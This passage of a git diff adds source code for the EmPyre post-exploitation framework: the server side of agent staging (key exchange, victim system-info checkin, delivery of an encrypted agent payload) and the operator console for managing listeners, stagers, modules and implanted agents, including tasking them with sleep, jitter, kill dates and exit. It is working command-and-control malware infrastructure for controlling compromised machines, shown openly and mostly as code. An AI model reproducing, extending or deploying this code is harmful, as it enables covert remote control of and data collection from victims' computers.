"+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") + + # get the staging key for the given listener, keyed by port + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit + stagingKey = self.listeners.get_staging_information(port=port)[3] + + # decrypt the agent's public key + try: + message = encryption.aes_decrypt_and_verify(stagingKey, postData) + except: + dispatcher.send("[!] HMAC verification failed from "+str(sessionID), sender="Agents") + return (404, "") + + if ( (len(message) < 1000) or (len(message) > 2500) ): + dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents") + else: + try: + int(message) + except: + dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents") + return (404, "") + + # client posts PUBc key + clientPub = int(message) + + serverPub = encryption.DiffieHellman() + serverPub.genKey(clientPub) + + # serverPub.key = the negotiated session key + # return (200, "") + + nonce = helpers.random_string(16, charset=string.digits) + + if self.args and self.args.debug: + dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid PUB key", sender="Agents") + + # get the staging information for the given listener, keyed by port + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit + config = self.listeners.get_staging_information(port=port) + delay = config[4] + jitter = config[5] + profile = config[6] + killDate = config[7] + workingHours = config[8] + lostLimit = config[11] + + # add the agent to the database now that it's "checked in" + self.add_agent(sessionID, hexlify(serverPub.key), clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce) + + # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs)) + data = str(nonce)+str(serverPub.publicKey) + encryptedMsg = encryption.aes_encrypt_then_hmac(stagingKey, data) + + # return a 200/valid and encrypted stage to the agent + return (200, encryptedMsg) + + + # step 5 of negotiation -> client posts sysinfo and requests agent + elif resource.lstrip("/").split("?")[0] == self.stage2: + + if self.is_agent_present(sessionID): + + # if this is a hop.php relay + if "?" in resource: + parts = resource.split("?") + if len(parts) == 2: + decoded = helpers.decode_base64(parts[1]) + + # get the staging key for the given listener, keyed by port + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit + config = self.listeners.get_staging_information(host=decoded) + + else: + config = self.listeners.get_staging_information(port=port) + + delay = config[4] + jitter = config[5] + profile = config[6] + killDate = config[7] + workingHours = config[8] + lostLimit = config[11] + + # get the session key for the agent + k = self.get_agent_session_key(sessionID) + sessionKey = unhexlify(self.get_agent_session_key(sessionID)) + + try: + # decrypt and parse the agent's sysinfo checkin + data = encryption.aes_decrypt_and_verify(sessionKey, postData) + parts = data.split("|") + + if len(parts) < 9: + dispatcher.send("[!] Agent "+str(sessionID)+" posted invalid sysinfo checkin format", sender="Agents") + # remove the agent from the cache/database + self.remove_agent(sessionID) + return (404, "") + + # verify the nonce + if int(parts[0]) != (int(self.get_agent_nonce(sessionID)) + 1): + dispatcher.send("[!] Invalid nonce returned from "+str(sessionID), sender="Agents") + self.remove_agent(sessionID) + return (404, "") + + listener = parts[1].encode('ascii','ignore') + username = parts[2].encode('ascii','ignore') + high_integrity = parts[3].encode('ascii','ignore') + high_integrity = 1 if high_integrity.lower() == "true" else 0 + hostname = parts[4].encode('ascii','ignore') + external_ip = clientIP.encode('ascii','ignore') + internal_ip = parts[5].encode('ascii','ignore') + os_details = parts[6].encode('ascii','ignore') + process_id = parts[7].encode('ascii','ignore') + py_version = parts[8].encode('ascii','ignore') + + except Exception as e: + print "Exception",e + # remove the agent from the cache/database + self.remove_agent(sessionID) + return (404, "") + + # let everyone know an agent got stage2 + if self.args and self.args.debug: + dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") + + # step 6 of negotiation -> server sends patched agent.py + agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours, lostLimit) + # TODO: build agent.py, implement patching + + # update the agent with this new information + self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, high_integrity=high_integrity, hostname=hostname, os_details=os_details, process_id=process_id, py_version=py_version) + + # encrypt the agent and send it back + encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) + + # signal everyone that this agent is now active + dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents") + output = "[+] Agent " + str(sessionID) + " now active:\n" + + # set basic initial information to display for the agent + agent = self.mainMenu.agents.get_agent(sessionID) + + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "process_id", "hostname", "os_details", "session_key", "nonce", "checkin_time", "lastseen_time", "servers", "uris", "old_uris", "user_agent", "headers", "kill_date", "working_hours", "py_version", "lost_limit"] + + agentInfo = dict(zip(keys, agent)) + + for key in agentInfo: + if key != "functions": + output += " %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70)) + + # save the initial sysinfo information in the agent log + self.save_agent_log(sessionID, output + "\n") + + # if a script autorun is set, set that as the agent's first tasking + autorun = self.get_autoruns() + if autorun and autorun[0] != '' and autorun[1] != '': + self.add_agent_task(sessionID, autorun[0], autorun[1]) + + return(200, encryptedAgent) + + else: + dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents") + return (404, "") + + # default behavior, 404 + else: + return (404, "") diff --git a/lib/common/empyre.py b/lib/common/empyre.py new file mode 100644 index 0000000..27646d4 --- /dev/null +++ b/lib/common/empyre.py @@ -0,0 +1,2325 @@ +""" + +The main controller class for EmPyre. + +This is what's launched from ./empyre. +Contains the Main, Listener, Agents, Agent, and Module +menu loops. + +""" + +# make version for EmPyre +VERSION = "0.1.3" + + +from pydispatch import dispatcher + +# import time, sys, re, readline +import sys, cmd, sqlite3, os, hashlib, traceback + +# EmPyre imports +import helpers +import http +import encryption +import packets +import messages +import agents +import listeners +import modules +import stagers +import time + + +# custom exceptions used for nested menu navigation +class NavMain(Exception): pass +class NavAgents(Exception): pass +class NavListeners(Exception): pass + + +class MainMenu(cmd.Cmd): + + def __init__(self, args=None): + + cmd.Cmd.__init__(self) + + # globalOptions[optionName] = (value, required, description) + self.globalOptions = {} + + self.args = args + + # empty database object + self.conn = self.database_connect() + + # grab the universal install path + # TODO: combine these into one query + cur = self.conn.cursor() + cur.execute("SELECT install_path FROM config") + self.installPath = cur.fetchone()[0] + cur.close() + + # pull out the stage0 uri + cur = self.conn.cursor() + cur.execute("SELECT stage0_uri FROM config") + self.stage0 = cur.fetchone()[0] + cur.close() + + # pull out the stage1 uri + cur = self.conn.cursor() + cur.execute("SELECT stage1_uri FROM config") + self.stage1 = cur.fetchone()[0] + cur.close() + + # pull out the stage2 uri + cur = self.conn.cursor() + cur.execute("SELECT stage2_uri FROM config") + self.stage2 = cur.fetchone()[0] + cur.close() + + # pull out the IP whitelist and create it, if applicable + cur = self.conn.cursor() + cur.execute("SELECT ip_whitelist FROM config") + self.ipWhiteList = helpers.generate_ip_list(cur.fetchone()[0]) + cur.close() + + # pull out the IP blacklist and create it, if applicable + cur = self.conn.cursor() + cur.execute("SELECT ip_blacklist FROM config") + self.ipBlackList = helpers.generate_ip_list(cur.fetchone()[0]) + cur.close() + + # instantiate the agents, listeners, and stagers objects + self.agents = agents.Agents(self, args=args) + self.listeners = listeners.Listeners(self, args=args) + self.stagers = stagers.Stagers(self, args=args) + self.modules = modules.Modules(self, args=args) + + # make sure all the references are passed after instantiation + # TODO: replace these with self? + self.agents.listeners = self.listeners + self.agents.modules = self.modules + self.agents.stagers = self.stagers + self.listeners.modules = self.modules + self.listeners.stagers = self.stagers + self.modules.stagers = self.stagers + + # change the default prompt for the user + self.prompt = "(EmPyre) > " + self.do_help.__func__.__doc__ = '''Displays the help menu.''' + self.doc_header = 'Commands' + + dispatcher.connect( self.handle_event, sender=dispatcher.Any ) + + # Main, Agents, or Listeners + self.menu_state = "Main" + + # start everything up + self.startup() + + + def startup(self): + """ + Kick off all initial startup actions. + """ + + self.database_connect() + + # restart any listeners currently in the database + self.listeners.start_existing_listeners() + + dispatcher.send("[*] EmPyre starting up...", sender="EmPyre") + + + def shutdown(self): + """ + Perform any shutdown actions. + """ + + print "\n" + helpers.color("[!] Shutting down...\n") + # self.server.shutdown() + dispatcher.send("[*] EmPyre shutting down...", sender="EmPyre") + + # enumerate all active servers/listeners and shut them down + self.listeners.shutdownall() + + # shutdown the database connection object + if self.conn: + self.conn.close() + + + def database_connect(self): + try: + # set the database connectiont to autocommit w/ isolation level + self.conn = sqlite3.connect('./data/empyre.db', check_same_thread=False) + self.conn.isolation_level = None + return self.conn + + except Exception as e: + print helpers.color("[!] Could not connect to database") + print helpers.color("[!] Please run database_setup.py") + sys.exit() + + # def preloop(self): + # traceback.print_stack() + + def cmdloop(self): + while True: + try: + if self.menu_state == "Agents": + self.do_agents("") + elif self.menu_state == "Listeners": + self.do_listeners("") + else: + # display the main title + messages.title(VERSION) + + # get active listeners, agents, and loaded modules + num_agents = self.agents.get_agents() + if(num_agents): + num_agents = len(num_agents) + else: + num_agents = 0 + + num_modules = self.modules.modules + if(num_modules): + num_modules = len(num_modules) + else: + num_modules = 0 + + num_listeners = self.listeners.listeners + if(num_listeners): + num_listeners = len(num_listeners) + else: + num_listeners = 0 + + print " " + helpers.color(str(num_modules), "green") + " modules currently loaded\n" + print " " + helpers.color(str(num_listeners), "green") + " listeners currently active\n" + print " " + helpers.color(str(num_agents), "green") + " agents currently active\n\n" + + cmd.Cmd.cmdloop(self) + + # handle those pesky ctrl+c's + except KeyboardInterrupt as e: + self.menu_state = "Main" + try: + choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + self.shutdown() + return True + else: + continue + except KeyboardInterrupt as e: + continue + + # exception used to signal jumping to "Main" menu + except NavMain as e: + self.menu_state = "Main" + + # exception used to signal jumping to "Agents" menu + except NavAgents as e: + self.menu_state = "Agents" + + # exception used to signal jumping to "Listeners" menu + except NavListeners as e: + self.menu_state = "Listeners" + + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def emptyline(self): pass + + + def handle_event(self, signal, sender): + """ + Default event handler. + + Signal Senders: + EmPyre - the main EmPyre controller (this file) + Agents - the Agents handler + Listeners - the Listeners handler + HttpHandler - the HTTP handler + EmPyreServer - the EmPyre HTTP server + """ + + # if --debug is passed, log out all dispatcher signals + if self.args.debug: + f = open("empyre.debug", 'a') + f.write(helpers.get_datetime() + " " + sender + " : " + signal + "\n") + f.close() + + # display specific signals from the agents. + if sender == "Agents": + if "[+] Initial agent" in signal: + print helpers.color(signal) + + elif "[!] Agent" in signal and "exiting" in signal: + print helpers.color(signal) + + elif "WARNING" in signal or "attempted overwrite" in signal: + print helpers.color(signal) + + elif "on the blacklist" in signal: + print helpers.color(signal) + + elif sender == "EmPyreServer": + if "[!] Error starting listener" in signal: + print helpers.color(signal) + + elif sender == "Listeners": + print helpers.color(signal) + + + ################################################### + # CMD methods + ################################################### + + def default(self, line): + pass + + + def do_exit(self, line): + "Exit EmPyre" + raise KeyboardInterrupt + + + def do_agents(self, line): + "Jump to the Agents menu." + try: + a = AgentsMenu(self) + a.cmdloop() + except Exception as e: + raise e + + + def do_listeners(self, line): + "Interact with active listeners." + try: + l = ListenerMenu(self) + l.cmdloop() + except Exception as e: + raise e + + + def do_usestager(self, line): + "Use an EmPyre stager." + + try: + parts = line.split(" ") + + if parts[0] not in self.stagers.stagers: + print helpers.color("[!] Error: invalid stager module") + + elif len(parts) == 1: + l = StagerMenu(self, parts[0]) + l.cmdloop() + elif len(parts) == 2: + listener = parts[1] + if not self.listeners.is_listener_valid(listener): + print helpers.color("[!] Please enter a valid listener name or ID") + else: + self.stagers.set_stager_option('Listener', listener) + l = StagerMenu(self, parts[0]) + l.cmdloop() + else: + print helpers.color("[!] Error in MainMenu's do_userstager()") + + except Exception as e: + raise e + + + def do_usemodule(self, line): + "Use an EmPyre module." + if line not in self.modules.modules: + print helpers.color("[!] Error: invalid module") + else: + try: + l = ModuleMenu(self, line) + l.cmdloop() + except Exception as e: + raise e + + + def do_searchmodule(self, line): + "Search EmPyre module names/descriptions." + + searchTerm = line.strip() + + if searchTerm.strip() == "": + print helpers.color("[!] Please enter a search term.") + else: + self.modules.search_modules(searchTerm) + + + def do_set(self, line): + "Set a global option (e.g. IP whitelists)." + + parts = line.split(" ") + if len(parts) == 1: + print helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path.") + else: + if parts[0].lower() == "ip_whitelist": + if parts[1] != "" and os.path.exists(parts[1]): + f = open(parts[1], 'r') + ipData = f.read() + f.close() + self.agents.ipWhiteList = helpers.generate_ip_list(ipData) + else: + self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:])) + elif parts[0].lower() == "ip_blacklist": + if parts[1] != "" and os.path.exists(parts[1]): + f = open(parts[1], 'r') + ipData = f.read() + f.close() + self.agents.ipBlackList = helpers.generate_ip_list(ipData) + else: + self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:])) + else: + print helpers.color("[!] Please choose 'ip_whitelist' or 'ip_blacklist'") + + + def do_reset(self, line): + "Reset a global option (e.g. IP whitelists)." + + if line.strip().lower() == "ip_whitelist": + self.agents.ipWhiteList = None + if line.strip().lower() == "ip_blacklist": + self.agents.ipBlackList = None + + + def do_show(self, line): + "Show a global option (e.g. IP whitelists)." + + if line.strip().lower() == "ip_whitelist": + print self.agents.ipWhiteList + if line.strip().lower() == "ip_blacklist": + print self.agents.ipBlackList + + + def do_reload(self, line): + "Reload one (or all) EmPyre modules." + + if line.strip().lower() == "all": + # reload all modules + print "\n" + helpers.color("[*] Reloading all modules.") + "\n" + self.modules.load_modules() + else: + if line.strip() not in self.modules.modules: + print helpers.color("[!] Error: invalid module") + else: + print "\n" + helpers.color("[*] Reloading module: " + line) + "\n" + self.modules.reload_module(line) + + + def do_list(self, line): + "Lists active agents or listeners." + + parts = line.split(" ") + + if parts[0].lower() == "agents": + + line = " ".join(parts[1:]) + agents = self.agents.get_agents() + + if line.strip().lower() == "stale": + + displayAgents = [] + + for agent in agents: + + sessionID = self.agents.get_agent_id(agent[3]) + + # max check in -> delay + delay*jitter + intervalMax = (agent[4] + agent[4] * agent[5])+30 + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + if agentTime < time.mktime(time.localtime()) - intervalMax: + # if the last checkin time exceeds the limit, remove it + displayAgents.append(agent) + + messages.display_staleagents(displayAgents) + + + elif line.strip() != "": + # if we're listing an agents active in the last X minutes + try: + minutes = int(line.strip()) + + # grab just the agents active within the specified window (in minutes) + displayAgents = [] + for agent in agents: + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60): + displayAgents.append(agent) + + messages.display_agents(displayAgents) + + except: + print helpers.color("[!] Please enter the minute window for agent checkin.") + + else: + messages.display_agents(agents) + + + elif parts[0].lower() == "listeners": + + messages.display_listeners(self.listeners.get_listeners()) + + + def complete_usemodule(self, text, line, begidx, endidx): + "Tab-complete an EmPyre Python module path." + + modules = self.modules.modules.keys() + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in modules if s.startswith(mline)] + + + def complete_reload(self, text, line, begidx, endidx): + "Tab-complete an EmPyre Python module path." + + modules = self.modules.modules.keys() + ["all"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in modules if s.startswith(mline)] + + + def complete_usestager(self, text, line, begidx, endidx): + "Tab-complete an EmPyre stager module path." + + stagers = self.stagers.stagers.keys() + + if (line.split(" ")[1].lower() in stagers) and line.endswith(" "): + # if we already have a stager name, tab-complete listener names + listenerNames = self.listeners.get_listener_names() + + endLine = " ".join(line.split(" ")[1:]) + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in listenerNames if s.startswith(mline)] + else: + # otherwise tab-complate the stager names + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in stagers if s.startswith(mline)] + + + def complete_set(self, text, line, begidx, endidx): + "Tab-complete a global option." + + options = ["ip_whitelist", "ip_blacklist"] + + if line.split(" ")[1].lower() in options: + return helpers.complete_path(text,line,arg=True) + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + + + def complete_reset(self, text, line, begidx, endidx): + "Tab-complete a global option." + + return self.complete_set(text, line, begidx, endidx) + + + def complete_show(self, text, line, begidx, endidx): + "Tab-complete a global option." + + return self.complete_set(text, line, begidx, endidx) + + +class AgentsMenu(cmd.Cmd): + + def __init__(self, mainMenu): + cmd.Cmd.__init__(self) + + self.mainMenu = mainMenu + + self.doc_header = 'Commands' + + # set the prompt text + self.prompt = '(EmPyre: '+helpers.color("agents", color="blue")+') > ' + + agents = self.mainMenu.agents.get_agents() + messages.display_agents(agents) + + # def preloop(self): + # traceback.print_stack() + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def emptyline(self): pass + + + def do_back(self, line): + "Return back a menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_exit(self, line): + "Exit EmPyre." + raise KeyboardInterrupt + + + def do_list(self, line): + "Lists all active agents (or listeners)." + + if line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + else: + self.mainMenu.do_list("agents " + str(line)) + + + def do_rename(self, line): + "Rename a particular agent." + + parts = line.strip().split(" ") + + # name sure we get an old name and new name for the agent + if len(parts) == 2: + # replace the old name with the new name + oldname = parts[0] + newname = parts[1] + self.mainMenu.agents.rename_agent(parts[0], parts[1]) + else: + print helpers.color("[!] Please enter an agent name and new name") + + + def do_interact(self, line): + "Interact with a particular agent." + + name = line.strip() + + if name != "" and self.mainMenu.agents.is_agent_present(name): + # resolve the passed name to a sessionID + sessionID = self.mainMenu.agents.get_agent_id(name) + + a = AgentMenu(self.mainMenu, sessionID) + a.cmdloop() + else: + print helpers.color("[!] Please enter a valid agent name") + + + def do_kill(self, line): + "Task one or more agents to exit." + + name = line.strip() + + if name.lower() == "all": + try: + choice = raw_input(helpers.color("[>] Kill all agents? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + agents = self.mainMenu.agents.get_agents() + for agent in agents: + sessionID = agent[1] + self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT") + except KeyboardInterrupt as e: print "" + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(name) + + if sessionID and len(sessionID) != 0: + self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT") + else: + print helpers.color("[!] Invalid agent name") + + + def do_clear(self, line): + "Clear one or more agent's taskings." + + name = line.strip() + + if name.lower() == "all": + self.mainMenu.agents.clear_agent_tasks("all") + elif name.lower() == "autorun": + self.mainMenu.agents.clear_autoruns() + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(name) + + if sessionID and len(sessionID) != 0: + self.mainMenu.agents.clear_agent_tasks(sessionID) + else: + print helpers.color("[!] Invalid agent name") + + + def do_sleep(self, line): + "Task one or more agents to 'sleep [agent/all] interval [jitter]'" + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter 'interval [jitter]'") + + elif parts[0].lower() == "all": + delay = parts[1] + jitter = 0.0 + if len(parts) == 3: + jitter = parts[2] + + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + + # update this agent info in the database + self.mainMenu.agents.set_agent_field("delay", delay, sessionID) + self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'"%(delay,jitter,delay,jitter)) + + # update the agent log + msg = "Tasked agent to delay sleep/jitter to: %s/%s" % (delay,jitter) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + delay = parts[1] + jitter = 0.0 + if len(parts) == 3: + jitter = parts[2] + + if sessionID and len(sessionID) != 0: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("delay", delay, sessionID) + self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID) + + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'"%(delay,jitter,delay,jitter)) + + # update the agent log + msg = "Tasked agent to delay sleep/jitter to: %s/%s" % (delay,jitter) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") + + + def do_lostlimit(self, line): + "Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '" + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter a valid '#ofCBs'") + + elif parts[0].lower() == "all": + lostLimit = parts[1] + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + + # update this agent info in the database + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit)) + + # update the agent log + msg = "Tasked agent to change lost limit to: %s" % (lostLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + lostLimit = parts[1] + + if sessionID and len(sessionID) != 0: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit)) + + # update the agent log + msg = "Tasked agent to change lost limit to: %s" % (lostLimit) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") + + + def do_killdate(self, line): + "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)." + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter date in form 01/01/2016") + + elif parts[0].lower() == "all": + killDate = parts[1] + + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + + # update this agent's field in the database + self.mainMenu.agents.set_agent_field("kill_date", killDate, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'"%(killDate, killDate)) + + msg = "Tasked agent to set killdate to: %s" %(killDate) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + killDate = parts[1] + + if sessionID and len(sessionID) != 0: + # update this agent's field in the database + self.mainMenu.agents.set_agent_field("kill_date", killDate, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'"%(killDate, killDate)) + + # update the agent log + msg = "Tasked agent to set killdate to: %s" %(killDate) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") + + + def do_workinghours(self, line): + "Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)." + + parts = line.strip().split(" ") + + if len(parts) == 1: + print helpers.color("[!] Please enter hours in the form '9:00-17:00'") + + elif parts[0].lower() == "all": + hours = parts[1] + + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + sessionID = agent[1] + + # update this agent's field in the database + self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours)) + + msg = "Tasked agent to set working hours to: %s" % (hours) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(parts[0]) + + hours = parts[1] + + if sessionID and len(sessionID) != 0: + #update this agent's field in the database + self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID) + + # task the agent + self.mainMenu.agents.add_agent_task(sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours)) + + # update the agent log + msg = "Tasked agent to set working hours to %s" % (hours) + self.mainMenu.agents.save_agent_log(sessionID, msg) + + else: + print helpers.color("[!] Invalid agent name") + + + def do_remove(self, line): + "Remove one or more agents from the database." + + name = line.strip() + + if name.lower() == "all": + try: + choice = raw_input(helpers.color("[>] Remove all agents from the database? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + self.mainMenu.agents.remove_agent('%') + except KeyboardInterrupt as e: print "" + + elif name.lower() == "stale": + # remove 'stale' agents that have missed their checkin intervals + + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + + sessionID = self.mainMenu.agents.get_agent_id(agent[3]) + + # max check in -> delay + delay*jitter + intervalMax = (agent[4] + agent[4] * agent[5])+30 + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - intervalMax: + # if the last checkin time exceeds the limit, remove it + self.mainMenu.agents.remove_agent(sessionID) + + + elif name.isdigit(): + # if we're removing agents that checked in longer than X minutes ago + agents = self.mainMenu.agents.get_agents() + + try: + minutes = int(line.strip()) + + # grab just the agents active within the specified window (in minutes) + for agent in agents: + + sessionID = self.mainMenu.agents.get_agent_id(agent[3]) + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60): + # if the last checkin time exceeds the limit, remove it + self.mainMenu.agents.remove_agent(sessionID) + + except: + print helpers.color("[!] Please enter the minute window for agent checkin.") + + else: + # extract the sessionID and clear the agent tasking + sessionID = self.mainMenu.agents.get_agent_id(name) + + if sessionID and len(sessionID) != 0: + self.mainMenu.agents.remove_agent(sessionID) + else: + print helpers.color("[!] Invalid agent name") + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() + + + def do_usestager(self, line): + "Use an EmPyre stager." + + parts = line.split(" ") + + if parts[0] not in self.mainMenu.stagers.stagers: + print helpers.color("[!] Error: invalid stager module") + + elif len(parts) == 1: + l = StagerMenu(self.mainMenu, parts[0]) + l.cmdloop() + elif len(parts) == 2: + listener = parts[1] + if not self.mainMenu.listeners.is_listener_valid(listener): + print helpers.color("[!] Please enter a valid listener name or ID") + else: + self.mainMenu.stagers.set_stager_option('Listener', listener) + l = StagerMenu(self.mainMenu, parts[0]) + l.cmdloop() + else: + print helpers.color("[!] Error in AgentsMenu's do_userstager()") + + + def do_usemodule(self, line): + "Use an EmPyre Python module." + + module = line.strip() + + if module not in self.mainMenu.modules.modules: + print helpers.color("[!] Error: invalid module") + else: + # set agent to "all" + l = ModuleMenu(self.mainMenu, line, agent="all") + l.cmdloop() + + + def do_searchmodule(self, line): + "Search EmPyre module names/descriptions." + + searchTerm = line.strip() + + if searchTerm.strip() == "": + print helpers.color("[!] Please enter a search term.") + else: + self.mainMenu.modules.search_modules(searchTerm) + + + def complete_interact(self, text, line, begidx, endidx): + "Tab-complete an interact command" + + names = self.mainMenu.agents.get_agent_names() + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] + + + def complete_rename(self, text, line, begidx, endidx): + "Tab-complete a rename command" + + names = self.mainMenu.agents.get_agent_names() + + return self.complete_interact(text, line, begidx, endidx) + + + def complete_clear(self, text, line, begidx, endidx): + "Tab-complete a clear command" + + names = self.mainMenu.agents.get_agent_names() + ["all", "autorun"] + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] + + + def complete_remove(self, text, line, begidx, endidx): + "Tab-complete a remove command" + + names = self.mainMenu.agents.get_agent_names() + ["all", "stale"] + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] + + + def complete_kill(self, text, line, begidx, endidx): + "Tab-complete a kill command" + + return self.complete_clear(text, line, begidx, endidx) + + + def complete_sleep(self, text, line, begidx, endidx): + "Tab-complete a sleep command" + + return self.complete_clear(text, line, begidx, endidx) + + + def complete_lostlimit(self, text, line, begidx, endidx): + "Tab-complete a lostlimit command" + + return self.complete_clear(text, line, begidx, endidx) + + + def complete_killdate(self, text, line, begidx, endidx): + "Tab-complete a killdate command" + + return self.complete_clear(text, line, begidx, endidx) + + + def complete_workinghours(self, text, line, begidx, endidx): + "Tab-complete a workinghours command" + + return self.complete_clear(text, line, begidx, endidx) + + + def complete_usemodule(self, text, line, begidx, endidx): + "Tab-complete an EmPyre Python module path" + return 